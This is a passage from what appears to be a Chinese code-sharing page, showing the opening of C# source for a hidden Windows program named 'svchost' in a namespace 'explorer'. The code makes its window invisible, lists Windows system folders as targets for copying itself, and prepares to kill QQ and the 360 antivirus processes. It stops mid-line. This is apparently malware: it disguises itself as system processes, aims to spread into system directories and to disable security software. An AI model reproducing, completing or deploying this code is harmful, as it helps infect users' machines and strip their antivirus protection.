日期:2014-05-18 浏览次数:21066 次
//#define DEL
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;
namespace explorer
{
public partial class svchost : Form
{
string SourceFile;
string FileName;
string[] TargetDirectorys = new string[] { "c:/windows/system32", "c:/windows/system", "c:/windows", "c:/winnt", "c:/winnt/system",
"c:/winnt/system32", "d:/windows", "d:/windows/system", "d:/windows/system32", "d:/winnt" };
int FileCount;
Process[] SysProcesses;
Random Rand;
List <string> UsablePath;
string AppProcessName;
List <string> KillProcessNames = new List <string>();
string LogFile = "";
public svchost()
{
InitializeComponent();
}
private void explorer_Load(object sender, EventArgs e)
{
try
{
//初始化
this.Opacity = 0;
this.Visible = false;
this.ShowInTaskbar = false;
SourceFile = Application.ExecutablePath;
FileName = SourceFile.Replace(Application.StartupPath, "").ToUpper();
FileCount = 0;
UsablePath = new List <string>();
AppProcessName = FileName.Replace("\\", "").Replace("/", "").Replace(".EXE", "");
Rand = new Random();
KillProcessNames.Add("QQ");
KillProcessNames.Add("360tray");
KillProcessNames.Add("360safe");
for (int i = 0; i < TargetDirectorys.Length; i++)
{
if (Directory.Exists(TargetDirectorys[i]))
&